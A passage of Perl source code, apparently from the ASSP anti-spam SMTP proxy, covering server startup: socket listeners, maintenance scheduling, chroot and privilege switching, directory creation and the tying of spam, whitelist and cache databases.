      		for (@$lsnSSLI) {s/:::/\[::\]:/o;}
            mlog( 0, "listening for SMTPS (SSL) connections on listenPortSSL @$lsnSSLI" )
              if $lsnSSL[0];
            mlog( 0,
                "NOT listening for SMTPS (SSL) connections on listenPortSSL $listenPortSSL" )
              if !$lsnSSL[0];
        } else {
            mlog( 0,
                "listening for SMTPS (SSL) connections on listenPortSSL $listenPortSSL not enabled" );
        }
    }
    
    if ($listenPort2) {
        my ($lsn2,$lsn2I) = newListen( $listenPort2, \&NewSMTPConnection );
        @lsn2 = @$lsn2; @lsn2I = @$lsn2I;
    	for (@$lsn2I) {s/:::/\[::\]:/o;}
        mlog(0,"listening for additional SMTP connections on listenPort2 @$lsn2I") 
          if $lsn2[0];
        mlog( 0,
            "NOT listening for additional SMTP connections on listenPort2 $listenPort2" )
          if !$lsn2[0];
    }

    # handle the possible relayhost / smarthost option
    if ( $relayHost && $relayPort ) {

        my ($lsnRelay,$lsnRelayI) = newListen( $relayPort, \&NewSMTPConnection );
        @lsnRelay = @$lsnRelay; @lsnRelayI = @$lsnRelayI;
    	for (@$lsnRelayI) {s/:::/\[::\]:/o;}
        mlog( 0, "listening for SMTP relay connections on relayPort @$lsnRelayI" )
          if $lsnRelay[0];
        mlog( 0, "NOT listening for SMTP relay connections on relayPort $relayPort" )
          if !$lsnRelay[0];
    }
	}
	
    $nextNoop           = time;

    $endtime            = $nextNoop + $AutoRestartInterval * 3600;
    
    $nextGlobalUploadBlack = $nextNoop + 120;
    $nextGlobalUploadWhite = $nextNoop + 120;
   if (-e "$base/$pbdir/global/out/pbdb.black.db.gz") {
    my @s     = stat("$base/$pbdir/global/out/pbdb.black.db.gz");
    my $mtime = $s[9];
    my $m = &getTimeDiff(time - $mtime);
    mlog(0,"info: last PBBlack upload to global server was scheduled before $m") if ($DoGlobalBlack && $globalClientName && $globalClientPass && $MaintenanceLog);
    if ($mtime) {
        $nextGlobalUploadBlack=$mtime + (int(rand(300) + 1440))*60;
        my $m = &getTimeDiff($nextGlobalUploadBlack - time);
        mlog(0,"info: next PBBlack upload to global server is scheduled in $m") if ($DoGlobalBlack && $globalClientName && $globalClientPass && $MaintenanceLog);
    }
  }
  if (-e "$base/$pbdir/global/out/pbdb.white.db.gz") {
    my @s     = stat("$base/$pbdir/global/out/pbdb.white.db.gz");
    my $mtime = $s[9];
    my $m = &getTimeDiff(time - $mtime);
    mlog(0,"info: last PBWhite upload to global server was scheduled before $m") if ($DoGlobalBlack && $globalClientName && $globalClientPass && $MaintenanceLog);
    if ($mtime) {
        $nextGlobalUploadWhite=$mtime + (int(rand(300) + 1440))*60 if ($mtime);
        my $m = &getTimeDiff($nextGlobalUploadWhite - time);
        mlog(0,"info: next PBWhite upload to global server is scheduled in $m") if ($DoGlobalWhite && $globalClientName && $globalClientPass && $MaintenanceLog);
    }
  }


    $saveWhite          = $nextNoop + $UpdateWhitelist;
    $nextCleanDelayDB   = $nextNoop + $CleanDelayDBInterval;
    $nextCleanPB        = $nextNoop + $CleanPBInterval * 3600;
#    $nextCleanTrap      = $nextNoop + $PBTrapCacheExp * 3600;
#    $nextCleanCache     = $nextNoop + $CleanCacheEvery * 3600;
    $nextExport         = $nextNoop + $exportInterval * 3600;
	$check4queuetime	= $nextNoop + 60;
    $nextConCheck       = $nextNoop + 180;


    $nextDestinationCheck       = $nextNoop + 30;
    $nextResendMail 	= $nextNoop + 60;
#    $nextLDAPcrossCheck = $nextNoop + 3600;
    $nextdetectHourJob 	= int($nextNoop / 3600) * 3600 + 3600;
    $nextdetectHourJob += 15 unless $nextdetectHourJob % (24 * 3600);
    my $m = &getTimeDiff($nextdetectHourJob-$nextNoop);
  	mlog(0,"info: hourly scheduler is starting in $m") if $MaintenanceLog >=2;
  	mlog(0,"info: DEBUG (debug) is set") if $debug;
    $nextDNSCheck 		= $nextNoop + 600;
    $nextSCANping 		= $nextNoop + 300;

    $NextVersionFileDownload = $nextNoop + 600;
    $NextASSPFileDownload = $nextNoop + 900;
    $NextPOP3Collect 	= $nextNoop + 300;
#    my ($file) = $TLDS =~ /^ *file: *(.+)/io;
#   $NextTLDlistDownload = time + 120 if (-e "$base/$file");
    $NextBackDNSFileDownload = $nextNoop + 300;
    $NextSyncConfig= $nextNoop + 60;

	
#    $nextCleanIPDom 	= $nextNoop + 300;
    $nextDebugClear 	= $nextNoop + $DebugRollTime;
    my $assp = $0;
    $assp =~ s/\\/\//g;
    $assp = $base.'/'.$assp if ($assp !~ /\//);
    if (-e $assp) {
            my @s     = stat($assp);
            my $mtime = $s[9];
            $FileUpdate{"$assp".'asspCode'} = $mtime;
            mlog(0,"info: watching the running script '$assp' for changes")
              if ($AutoRestartAfterCodeChange && ($AsAService || $AsADaemon || $AutoRestartCmd || $ForceRestartAfterCodeChange));
    } elsif ($AutoRestartAfterCodeChange) {
            mlog(0,"warning: unable to find running script '$assp' for 'AutoRestartAfterCodeChange'")
              if ($AsAService || $AsADaemon || $AutoRestartCmd || $ForceRestartAfterCodeChange);
    }

  	

    my ($uid,$gid); 
    ($uid,$gid) = getUidGid($runAsUser,$runAsGroup) if ($runAsUser || $runAsGroup);
    if ($ChangeRoot) {
        my $chroot;
        eval('$chroot=chroot($ChangeRoot)');
        if ($@) {
            my $msg = "request to change root to '$ChangeRoot' failed: $@";
            mlog( '', $msg );
            die ucfirst($msg);
        } elsif ( !$chroot ) {
            my $msg =
              "request to change root to '$ChangeRoot' did not succeed: $!";
            mlog( '', $msg );
            die ucfirst($msg);
        } else {
            $chroot = $ChangeRoot;
            $chroot =~ s/(\W)/\\$1/g;
            $base   =~ s/^$chroot//i;
            chdir("/");
            mlog( '',
"successfully changed root to '$ChangeRoot' -- new base is '$base'"
            );
        }
    }

    switchUsers( $uid, $gid ) if ( $runAsUser || $runAsGroup );
    $mypid = $$;   
    &renderConfigHTML();
    if ($pidfile && !$AsASecondary) { open( my $FH, ">$base/$pidfile" ); print $FH $$; close $FH; }


  # create folders if they're missing
    -d "$base/$spamlog"        or mkdir "$base/$spamlog",        0755;
    -d "$base/$notspamlog"     or mkdir "$base/$notspamlog",     0755;
    -d "$base/$incomingOkMail" or mkdir "$base/$incomingOkMail", 0755;
    -d "$base/$discarded"      or mkdir "$base/$discarded",      0755;
    -d "$base/$viruslog"       or mkdir "$base/$viruslog",       0755;
    -d "$FileScanDir" 		   or mkdir "$FileScanDir",		     0755;
    -d "$base/tmp" 			   or mkdir "$base/tmp",			 0777;
    -d "$base/stats" 		   or mkdir "$base/stats",			 0777;

    my $dir = $correctedspam;
    $dir =~ s/\/.*?$//;
    -d "$base/$dir"              or mkdir "$base/$dir",              0755;
    -d "$base/$correctedspam"    or mkdir "$base/$correctedspam",    0755;
    -d "$base/$correctednotspam" or mkdir "$base/$correctednotspam", 0755;
  	
  	
  $pbdir = $1 if $pbdb=~/(.*)\/.*/;
  if ($pbdir) {
     -d  "$base/$pbdir" or mkdir "$base/$pbdir",0755;
     -d  "$base/$pbdir/global" or mkdir "$base/$pbdir/global",0755;
     -d  "$base/$pbdir/global/in" or mkdir "$base/$pbdir/global/in",0755;
     -d  "$base/$pbdir/global/out" or mkdir "$base/$pbdir/global/out",0755;
  }
  
    -d "$base/notes"       or mkdir "$base/notes",       0755;
    -d "$base/docs"        or mkdir "$base/docs",        0777;
    -d "$base/backup"      or mkdir "$base/backup",      0777;
    -d "$base/$resendmail" or mkdir "$base/$resendmail", 0777;
    -d "$base/files"       or mkdir "$base/files",       0755;
    -d "$base/logs"        or mkdir "$base/logs",        0755;
	-d "$base/starterdb"   or mkdir "$base/starterdb",     0777;
    -d "$base/reports"     or mkdir "$base/reports",     0755;
    
  foreach (glob("$base/tmp/*")) {
      unlink "$_";
      mlog(0,"info: delete temporary file $_") if $MaintenanceLog;
  }


  if ($^O ne 'MSWin32') {
      if($setFilePermOnStart) {

          &setPermission($base,0777,1,1) ;
          $Config{setFilePermOnStart} = '';
          $setFilePermOnStart = '';
          &SaveConfig();
      } elsif ($checkFilePermOnStart) {

          &checkPermission($base,0600,1,1) ;
      }
  } else {
      if($setFilePermOnStart) {

          $Config{setFilePermOnStart} = $setFilePermOnStart = '';
      } elsif ($checkFilePermOnStart) {

          $Config{checkFilePermOnStart} = $checkFilePermOnStart = '';
      }
  }
  
  mlog(0,"ASSP restart will be done with AutoRestartCmd: $AutoRestartCmd") if $MaintenanceLog && $AutoRestartCmd;
  SaveConfigSettings();$|=1;


    # put this after chroot so the paths don't change
    mlog(0,"warning: no filepath (spamdb) for Bayesian spam database!") if !$spamdb;
    if ($spamdb) {
    	if (!-e "$base/$spamdb") {
    		if (-e "$base/$spamdb.bak") {
    		 	copy("$base/$spamdb.bak","$base/$spamdb");
    		}   
    	} 
    	$SpamdbObject = tie %Spamdb, 'orderedtie', "$base/$spamdb" ;

    	$StarterdbObject = tie %Starterdb, 'orderedtie', "$base/$BayesianStarterDB" ;
    	$spamdbcount = 0;
  		
  		$spamdbcount = scalar keys %Spamdb;
  		$haveSpamdb = $spamdbcount;
  		# check if there are at least 500 records in spamdb (~10KB)

  		if ($spamdbcount < 500) {
  			mlog(0,"warning: Bayesian spam database (spamdb) has only $spamdbcount records!") ;
			$asspWarnings .= "<span class=negative>warning: Bayesian spam database (spamdb) has only $spamdbcount records!</span><br />";
			$haveSpamdb = 0;
  		} else {
  		
  			mlog(0,"info: Bayesian spamdb '$spamdb' with $haveSpamdb records") if -e "$base/$spamdb";
  		}
  		$spamdbcount = scalar keys %Starterdb;
  		$haveStarterdb = $spamdbcount;
  		# check if there are at least 500 records in Starterdb (~10KB)
  		if (-e "$base/$BayesianStarterDB"){
  		if ($spamdbcount < 500) {
  			mlog(0,"warning: Bayesian starter database (spamdb) has only $spamdbcount records!") ;
			$asspWarnings .= "<span class=negative>warning: Bayesian starter database (BayesianStarterDB) has only $spamdbcount records!</span><br />";
			$haveStarterdb = 0;
  		} else {
  		
  			mlog(0,"info: Bayesian starterdb '$BayesianStarterDB' with $haveStarterdb records") ;
  		}}
  		
  		if ( $RebuildSchedule eq "*" ) {
		mlog(0,"info: RebuildSchedule for RebuildSpamdb.pl is every hour");
		} else {
  			foreach my $shour ( split( /\|/, $RebuildSchedule ) ) {
			mlog(0,"info: RebuildSchedule for RebuildSpamdb.pl is $shour:00");
			}
  		}

    }
    
    my $helocount = 0;
    $HeloBlackObject = tie %HeloBlack, 'orderedtie', "$base/$spamdb.helo";
    $HeloBlackCumObject = tie %HeloBlackCum, 'orderedtie', "$base/$pbdb.heloblackcum.db";
    $helocount = scalar keys %HeloBlack;
    mlog(0,"info: Current Helo Blacklist '$base/$spamdb.helo': $helocount ");
    $helocount = scalar keys %HeloBlackCum;
#    mlog(0,"info: Current Helo Blacklist Accumulated '$base/$pbdb.heloblackcum.db': $helocount ");
    #
    if ($whitelistdb !~ /mysql/ && !-e "$base/$whitelistdb") {
    	if (-e "$base/$whitelistdb.bak") {
    		 copy("$base/$whitelistdb.bak","$base/$whitelistdb");
    	}   
    }
    if ( $CanUseTieRDBM && $whitelistdb =~ /mysql/ ) {
        eval {
            $WhitelistObject = tie %Whitelist, 'Tie::RDBM',
              "dbi:mysql:database=$mydb;host=$myhost",
              {
                user     => "$myuser",
                password => "$mypassword",
                table    => 'whitelist',
                create   => 1
              };
        };
        if ($@) {
            mlog( 0, "whitelist mysql error: $@" );
            $CanUseTieRDBM = 0;
            $whitelistdb   = "whitelist";
        }
    } else {
        $WhitelistObject = tie %Whitelist, 'orderedtie', "$base/$whitelistdb";
         # check if there are at least 50 records in whitelist (~1KB)
  		my $i = 0;
  		while (my ($k,$v) = each(%Whitelist)) {
    		$i++;
    		last if ($i > 50);
  		}
  		mlog(0,"warning: Whitelist (whitelistdb) has only $i records: (ignore if this is a new install)") if ($i < 50 );
    }

    mlog(0,"warning: option 'decodeMIME2UTF8' is set, but Email::MIME::Modifier is not installed") if $decodeMIME2UTF8 && !$CanUseEMM;
    $asspWarnings .= '<span class="negative">\'decodeMIME2UTF8\' is set, but Email::MIME::Modifier is not installed!</span><br />' if $decodeMIME2UTF8 && !$CanUseEMM;
    
	mlog(0,"warning: option 'nolocalDomains' is set, ASSP will not perform relay checks!") if $nolocalDomains;
	$asspWarnings .= '<span class="negative">\'nolocalDomains\' is set, ASSP will not perform relay checks!</span><br />' if $nolocalDomains;
	


	$asspWarnings .= '<span class="negative">warning: Email::Send not installed, email-interface and block-report not available</span><br />' if !$CanUseEMS;	

    if ( $CanUseTieRDBM && $redlistdb =~ /mysql/ ) {
        eval {
            $RedlistObject = tie %Redlist, 'Tie::RDBM',
              "dbi:mysql:database=$mydb;host=$myhost",
              {
                user     => "$myuser",
                password => "$mypassword",
                table    => 'redlist',
                create   => 1
              };
        };
        if ($@) {
            mlog( 0, "redlist mysql error: $@" );
            $CanUseTieRDBM = 0;
            $redlistdb     = "redlist";
        }
    } else {
        $RedlistObject = tie %Redlist, 'orderedtie', "$base/$redlistdb";
    }
    $GriplistObject = tie %Griplist, 'orderedtie', "$base/$griplist"
      if $griplist;
    $SMTPfailedObject = tie %SMTPfailed,  'orderedtie', "$base/$pbdb.smtptimeout.db";
	$SSLfailedObject  = tie %SSLfailed,  'orderedtie', "$base/$pbdb.ssl.db";
    $PBWhiteObject    = tie %PBWhite,    'orderedtie', "$base/$pbdb.white.db";
    $PBBlackObject    = tie %PBBlack,    'orderedtie', "$base/$pbdb.black.db";
    $PreHeaderObject   = tie %PreHeader,    'orderedtie', "$base/$pbdb.preheader.db";
    
    $SpamIPsObject    = tie %SpamIPs,    'orderedtie', "$base/$pbdb.limit.db";
    $RBLCacheObject   = tie %RBLCache,   'orderedtie', "$base/$pbdb.rbl.db";
    $URIBLCacheObject = tie %URIBLCache, 'orderedtie', "$base/$pbdb.uribl.db";
    $PTRCacheObject   = tie %PTRCache,   'orderedtie', "$base/$pbdb.ptr.db";
    $MXACacheObject   = tie %MXACache,   'orderedtie', "$base/$pbdb.mxa.db";
    $RWLCacheObject   = tie %RWLCache,   'orderedtie', "$base/$pbdb.rwl.db";
    $SPFCacheObject   = tie %SPFCache,   'orderedtie', "$base/$pbdb.spf.db";
    $SBCacheObject    = tie %SBCache,    'orderedtie', "$base/$pbdb.sb.db";
    $OKCacheObject    = tie %OKCache,    'orderedtie', "$base/$pbdb.ok.db";
    $PBTrapObject     = tie %PBTrap,     'orderedtie', "$base/$pbdb.trap.db";
    $BackDNSObject    = tie %BackDNS,    'orderedtie', "$base/$pbdb.back.db";
	$PersBlackObject  = tie %PersBlack,  'orderedtie', "$base/$persblackdb";

    $LDAPlistObject   = tie %LDAPlist,   'orderedtie', "$base/$ldaplistdb";
    
    $LDAPNotFoundObject     = tie %LDAPNotFound,   'orderedtie', "$base/$ldapnotfounddb";
    $FreqObject       = tie %localFrequencyCache,   'orderedtie', "$base/$pbdb.localfreq.db";
    

    if ( $CanUseTieRDBM && $delaydb =~ /mysql/ ) {
        eval {
            $DelayWhiteObject = tie %DelayWhite, 'Tie::RDBM',
              "dbi:mysql:database=$mydb;host=$myhost",
              {
                user     => "$myuser",
                password => "$mypassword",
                table    => 'delaywhitedb',
                create   => 1
              };
            $DelayObject = tie %Delay, 'Tie::RDBM',
              "dbi:mysql:database=$mydb;host=$myhost",
              {
                user     => "$myuser",
                password => "$mypassword",
                table    => 'delaydb',
                create   => 1
              };
        };
        if ($@) {
            mlog( 0, "delaydb mysql error: $@" );
            $CanUseTieRDBM = 0;
            $delaydb       = "delaydb";
        }

    } else {
        $DelayObject = tie %Delay, 'orderedtie', "$base/$delaydb";
        $DelayWhiteObject = tie %DelayWhite, 'orderedtie',
          "$base/$delaydb.white";
    }
    my $v;

# $v =  "KeyName   ,dbConfigVar,CacheObject     ,realFileName  ,mysqlFileName,FailoverValue,mysqlTable"); remove spaces and push to Group
#                                                                             for dbConfigVar
    $v = (
"Whitelist,whitelistdb,WhitelistObject,$whitelistdb"
    );
    $v =~ s/\s*,/,/g;
    push( @dbGroup, $v );

    $v = (
"Redlist,redlistdb,RedlistObject,$redlistdb"
    );
    $v =~ s/\s*,/,/g;
    push( @dbGroup, $v );

    $v = (
"Delay,delaydb,DelayObject,$delaydb" 
    );
    $v =~ s/\s*,/,/g;
    push( @dbGroup, $v );
    $v = (
"DelayWhite,delaydb ,DelayWhiteObject,$delaydb.white"
    );
    $v =~ s/\s*,/,/g;
    push( @dbGroup, $v );

    $v = (
"Spamdb,spamdb,SpamdbObject,$spamdb"
    );
    $v =~ s/\s*,/,/g;
    push( @dbGroup, $v );

    $v = (
"Starterdb,BayesianStarterDB,StarterdbObject,$BayesianStarterDB"
    );
    $v =~ s/\s*,/,/g;
    push( @dbGroup, $v );
    $v = (
"HeloBlack,spamdb,HeloBlackObject,$spamdb.helo"
    );
    $v =~ s/\s*,/,/g;
    push( @dbGroup, $v );

    $v = (
"PBWhite,pbdb,PBWhiteObject,$pbdb.white.db"
    );
    $v =~ s/\s*,/,/g;
    push( @dbGroup, $v );
    $v = (
"PBBlack,pbdb,PBBlackObject,$pbdb.black.db"
    );
    $v =~ s/\s*,/,/g;
    push( @dbGroup, $v );
    $v = (
"PreHeader,pbdb,PreHeaderObject,$pbdb.preheader.db"
    );
    $v =~ s/\s*,/,/g;
    push( @dbGroup, $v );
    $v = (
"HeloBlackCum,pbdb,HeloBlackCumObject,$pbdb.heloblackcum.db"
    );
    $v =~ s/\s*,/,/g;
    push( @dbGroup, $v );
    $v = (
"SpamIPs,pbdb,SpamIPsObject,$pbdb.limit.db"
    );
    $v =~ s/\s*,/,/g;
    push( @dbGroup, $v );
    $v = (
"RBLCache,pbdb,RBLCacheObject,$pbdb.rbl.db"
    );
    $v =~ s/\s*,/,/g;
    push( @dbGroup, $v );
    $v = (
"URIBLCache,pbdb,URIBLCacheObject,$pbdb.uribl.db"
    );
    $v =~ s/\s*,/,/g;
    push( @dbGroup, $v );
    $v = (
"PTRCache,pbdb,PTRCacheObject,$pbdb.ptr.db"
    );
    $v =~ s/\s*,/,/g;
    push( @dbGroup, $v );
    $v = (
"MXACache,pbdb,MXACacheObject,$pbdb.mxa.db"
    );
    $v =~ s/\s*,/,/g;
    push( @dbGroup, $v );
    $v = (
"RWLCache,pbdb,RWLCacheObject,$pbdb.rwl.db"
    );
    $v =~ s/\s*,/,/g;
    push( @dbGroup, $v );
    $v = (
"SPFCache,pbdb,SPFCacheObject,$pbdb.spf.db"
    );
    $v =~ s/\s*,/,/g;
    push( @dbGroup, $v );
    $v = (
"SBCache,pbdb,SBCacheObject,$pbdb.sb.db"
    );
    $v =~ s/\s*,/,/g;
    push( @dbGroup, $v );
    $v = (
"OKCache,pbdb,OKCacheObject,$pbdb.ok.db"
    );
    $v =~ s/\s*,/,/g;
    push( @dbGroup, $v );
    $v = (
"PBTrap,pbdb,PBTrapObject,$pbdb.trap.db"
    );
    $v =~ s/\s*,/,/g;
    push( @dbGroup, $v );
     $v = (
"BackDNS,pbdb,BackDNSObject,$pbdb.back.db"
    );
    $v =~ s/\s*,/,/g;
    push( @dbGroup, $v );
    $v = (
"localFrequencyCache,pbdb,FreqObject,$pbdb.localfreq.db"
    );
    $v =~ s/\s*,/,/g;
    push( @dbGroup, $v );
	$v = (
"SMTPfailed,pbdb,SMTPfailedObject,$pbdb.smtptimeout.db"
    );
    $v =~ s/\s*,/,/g;
    push( @dbGroup, $v );
   	$v = (
"SSLfailed,pbdb,SSLfailedObject,$pbdb.ssl.db"
    );
    $v =~ s/\s*,/,/g;
    push( @dbGroup, $v );
    $v = (
"PersBlack,persblackdb,PersBlackObject,$persblackdb"); 
    $v=~s/\s*,/,/go;
    push(@dbGroup,$v);

    $v = (
"LDAPlist,ldaplistdb,LDAPlistObject,$ldaplistdb"
    );
    $v=~s/\s*,/,/go;
    push( @dbGroup, $v );
    $v = (
"LDAPNotFound,ldapnotfounddb,LDAPNotFoundObject,$ldapnotfounddb"
    );
    $v =~ s/\s*,/,/g;
    push( @dbGroup, $v );
    $shuttingDown = $doShutdown = 0;
    $smtpConcurrentSessions = 0;
    $Stats{starttime}       = time;
    $Stats{version}         = "$version$modversion";
    &ResetStats;
    my $runas = $AsAService ? 'as service' : $AsADaemon ? 'as daemon' : 'in console';
	my ($mv,$sv,$lv) = $] =~ /(\d)\.(\d{3})(\d{3})/o;
	$mv =~ s/^0+//o;$sv =~ s/^0+//o;$lv =~ s/^0+//o;
    mlog( 0, "Running in directory $base on host ". hostname());
    #-- check if running as root 
	mlog( 0, "Running as root") if $< == 0 && $^O ne "MSWin32";

	mlog( 0, "Running as user '" . (getpwuid($<))[0] . "'") if $< != 0 && $^O ne "MSWin32";
    mlog( 0, "using Perl $^X version $] ($mv.$sv.$lv)");
    mlog( 0, "ASSP $version$modversion starting (PID: $$) $runas" );
	
#	StartSecondary() if $AutostartSecondary && !$AsASecondary;


}
sub getWebSocket {
	my $adminport = $webAdminPort; 
    $adminport = $webSecondaryPort if $AsASecondary && $webSecondaryPort;
	my @dummy;
	my ($WebSocket,$dummy);
    if ($CanUseIOSocketSSL && $enableWebAdminSSL) {
      ($WebSocket,$dummy)   = newListenSSL($adminport,\&NewWebConnection,1);
      @WebSocket = @$WebSocket;
      for (@$dummy) {s/:::/\[::\]:/o;}
      mlog(0,"listening for admin HTTPS connections on webAdminPort @$dummy") if @$dummy;
      $webAdminPortOK = 1 if @$dummy;
#      mlog(0,"not listening for admin HTTPS connections on webAdminPort $adminport") if !@$dummy;
      $webAdminPortOK = 0 if !@$dummy;
      
  	} else {
      ($WebSocket,$dummy)   = newListen($adminport,\&NewWebConnection,1);
      for (@$dummy) {s/:::/\[::\]:/o;}
	  mlog(0,"listening for admin HTTP connections on webAdminPort @$dummy") if @$dummy;
	  $webAdminPortOK = 1 if @$dummy;
#	  mlog(0,"not listening for admin HTTP connections on webAdminPort $adminport") if !@$dummy;
	  $webAdminPortOK = 0 if !@$dummy;
  	}
}

sub getDestSockDom {
    my $dest = shift;
    return unless $dest;
    my $orgdest = $dest;
    my ($ip4,$ip6,$ip,%Domain);
    $ip = $1 if $dest =~ /^\[?($IPRe)\]?/o;
    if (! $ip) {
        my ($port,@res);
        $dest =~ s/^\[//o;
        $dest =~ s/\]?:\d+$//o;
        if ($CanUseIOSocketINET6) {
            eval(<<EOT);
                @res = Socket6::getaddrinfo($dest,25,AF_INET6);
	            ($ip6, $port) = getnameinfo($res[3], NI_NUMERICHOST | NI_NUMERICSERV) if $res[3];
EOT
            eval(<<EOT)  if $@ || !($ip6 =~ s/^\[?($IPv6Re)\]?$/$1/o);
                $ip6 = Socket6::inet_ntop( AF_INET6, scalar( Socket6::gethostbyname2($dest,AF_INET6) ) );
EOT
            $ip6 = undef if $@ || !($ip6 =~ s/^\[?($IPv6Re)\]?$/$1/o);
            mlog(0,"info: resolved IPv6 $ip6 for hostname $dest") if $ip6 && $ConnectionLog >= 2;
        }
        if (! $ip6) {
            eval{$ip4 = inet_ntoa( scalar( gethostbyname($dest) ) );};
            $ip4 = undef if ($ip4 !~ /^$IPv4Re$/o);
            mlog(0,"info: resolved IPv4 $ip4 for hostname $dest") if $ip4 && $ConnectionLog >= 2;
        }
    } else {
        $ip6 = $1 if $ip =~/^\[?($IPv6Re)\]?$/o;
        $ip4 = $1 if ! $ip6 && $ip =~/^($IPv4Re)$/o;
    }
    if ($ip6) {
        $Domain{Domain} = AF_INET6;
    } elsif ($ip4) {
        $Domain{Domain} = AF_INET;
    } else {
        $Domain{Domain} = AF_UNSPEC;
        mlog(0,"error: found unresolvable ($dest) - hostname or suspicious IP address definition in $orgdest");
    }
    return %Domain;
}

sub getHostIP {

    my($host,$name)=@_;
#	return "127.0.0.1" if $host =~ /localhost/i;
    my ($ip4,$ip6);


        my ($port,@res);
        $host =~ s/^\[//o;
        $host =~ s/\]$//o;
        if ($CanUseIOSocketINET6) {
            eval(<<EOT);
                @res = Socket6::getaddrinfo($host,25,AF_INET6);
	            ($ip6, $port) = getnameinfo($res[3], NI_NUMERICHOST | NI_NUMERICSERV) if $res[3];
EOT
            eval(<<EOT)  if $@ || !($ip6 =~ s/^\[?($IPv6Re)\]?$/$1/o);
                $ip6 = Socket6::inet_ntop( AF_INET6, scalar( Socket6::gethostbyname2($host,AF_INET6) ) );
EOT
            $ip6 = undef if $@ || !($ip6 =~ s/^\[?($IPv6Re)\]?$/$1/o);
            mlog(0,"info: resolved IPv6 $ip6 for hostname '$host' in '$name'");
            return $ip6;
        }
        if (! $ip6) {
            eval{$ip4 = inet_ntoa( scalar( gethostbyname($host) ) );};

            $ip4 = undef if ($ip4 !~ /^$IPv4Re$/o);
            mlog(0,"info: resolved IPv4 $ip4 for hostname '$host' in '$name'") if $ip4;
            return $ip4 if $ip4;
            mlog(0,"error: found unresolvable ($host) - hostname in '$name'") if !$ip4;
            
        }
	return $host;
}

sub newListen {
    my($port,$handler)=@_;
    my $portA;
    my @s;
    my @sinfo;

    foreach my $portA (split(/\|/o, $port)) {
        if($portA !~ /$HostRe?:?$PortRe/o) {
            mlog(0,"wrong (host) + port definition in '$portA' -- entry will be ignored !");
            next;
        }
        my @stt;
        my ($interface,$p)=$portA=~/($HostRe):($PortRe)/o;

        my %parms = $interface
                    ? ('LocalPort' => $p, 'LocalAddr' => $interface)
                    : ('LocalPort' => $portA);
        $parms{Listen} = 10;
        $parms{Reuse} = 1;
        
        if ($CanUseIOSocketINET6) {
            my $isv4 = [&getDestSockDom($interface)]->[1] != AF_INET6;
            my ($s4,$s6);
            if (! $interface || $isv4) {
                $parms{Domain} = AF_INET;
                $s4 = IO::Socket::INET6->new(%parms);
                push @stt,$s4 if $s4;
            }
            if (! $interface || ! $isv4) {
                $parms{Domain} = AF_INET6;
                $s6 = IO::Socket::INET6->new(%parms);
                push @stt,$s6 if $s6;
            }
        } else {
            my $s4 = IO::Socket::INET->new(%parms);
            push @stt,$s4 if $s4;
        }
        
        if(! @stt) {
            mlog(0,"couldn't create server socket on port '$portA' -- maybe another service is running or I'm not root (uid=$>)? -- or a wrong IP address is specified? -- $! - $IO::Socket::SSL::SSL_ERROR") if !$AsASecondary;
             my $time = &timestring();

            next;
        }
       
        foreach my $s (@stt) {
            $s->blocking(0);
            $SocketCalls{$s}=$handler;

            $readable->add($s);    # add to select list
            push @s,$s;
            push @sinfo,$s->sockhost . ':' . $s->sockport;
        }
        last if $AsASecondary && $portA  =~ $webSecondaryPort;
    }
    return \@s,\@sinfo;
}

sub newListenSSL {
    my($port,$handler)=@_;

    my @s;
    my @sinfo;

    foreach my $portA (split(/\|/o, $port)) {
        if($portA !~ /$HostRe?:?$PortRe/o) {
            mlog(0,"wrong (host) + port definition in '$portA' -- entry will be ignored !");
            next;
        }
        my @stt;
        my ($interface,$p)=$portA=~/($HostRe):($PortRe)/o;

        my %parms = ($interface
                     ? ('LocalPort' => $p, 'LocalAddr' => $interface)
                     : ('LocalPort' => $portA)),
                     getSSLParms();
		$parms{Listen} = 10;
        $parms{Reuse} = 1;

        $parms{SSL_startHandshake} = 1;
        $parms{SSL_server} = 1;
        $parms{SSL_use_cert} = 1;
        $parms{SSL_verify_mode} = 0x00;
        $parms{SSL_cert_file} = $SSLCertFile;
        $parms{SSL_key_file} = $SSLKeyFile;
        $parms{Timeout} = $SSLtimeout;
        
        if ($CanUseIOSocketINET6) {
            my $isv4 = [&getDestSockDom($interface)]->[1] != AF_INET6;
            my ($s4,$s6);
            if (! $interface || $isv4) {
                $parms{Domain} = AF_INET;
                $s4 = IO::Socket::SSL->new(%parms);
                push @stt,$s4 if $s4;
            }
            if (! $interface || ! $isv4) {
                $parms{Domain} = AF_INET6;
                $s6 = IO::Socket::SSL->new(%parms);
                push @stt,$s6 if $s6;
            }
        } else {
            $parms{Domain} = AF_INET;
            my $s4 = IO::Socket::SSL->new(%parms);
            push @stt,$s4 if $s4;
        }
        
        if(! @stt) {
            mlog(0,"couldn't create server SSL-socket on port '$portA' -- maybe another service is running or I'm not root (uid=$>)? - or a wrong IP address is specified? -- $! - $IO::Socket::SSL::SSL_ERROR");
            next;
        }
        foreach my $s (@stt) {
            $SocketCalls{$s}=$handler;

            $readable->add($s);    # add to select list
            push @s,$s;
            push @sinfo,$s->sockhost . ':' . $s->sockport;
        }
        last if $AsASecondary && $portA  =~ $webSecondaryPort;
    }
	$IO::Socket::SSL::DEBUG = $SSLDEBUG;
    return \@s,\@sinfo;
}



sub getUidGid {
    my ( $uname, $gname ) = @_;
    return if $AsAService;
    my $rname = "root";
    eval('getgrnam($rname);getpwnam($rname);');
    if ($@) {

        # windows pukes "unimplemented" for these -- just skip it
        mlog( '',
"warning:   uname and/or gname are set ($uname,$gname) but getgrnam / getpwnam give errors: $@"
        );
        return;
    }
    my $gid;
    if ($gname) {
        $gid = getgrnam($gname);
        if ( defined $gid ) {
        } else {
            my $msg =
"could not find gid for group '$gname' -- not switching effective gid ";
            mlog( '', $msg );
            return;
        }
    }
    my $uid;
    if ($uname) {
        $uid = getpwnam($uname);
        if ( defined $uid ) {
        } else {
            my $msg =
"could not find uid for user '$uname' -- not switching effective uid ";
            mlog( '', $msg );
            return;
        }
    }
    ( $uid, $gid );
}

sub switchUsers {
    my ( $uid, $gid ) = @_;
    return if $AsAService;
    my ( $uname, $gname ) = ( $runAsUser, $runAsGroup );
    $> = 0;
    if ( $> != 0 ) {
        my $msg =
"requested to switch to user/group '$uname/$gname' but cannot set effective uid to 0 --  uid is $>";
        mlog( '', $msg );
        return;
    }
    $< = 0;
    if ($gid) {
        $) = $gid;
        if ( $) + 0 == $gid ) {
            mlog( '', "switched effective gid to $gid ($gname)" );
        } else {
            my $msg =
"failed to switch effective gid to $gid ($gname) -- effective gid=$) ";
            mlog( '', $msg );
            return;
        }
        $( = $gid;
        if ( $( + 0 == $gid ) {
            mlog( '', "switched real gid to $gid ($gname)" );
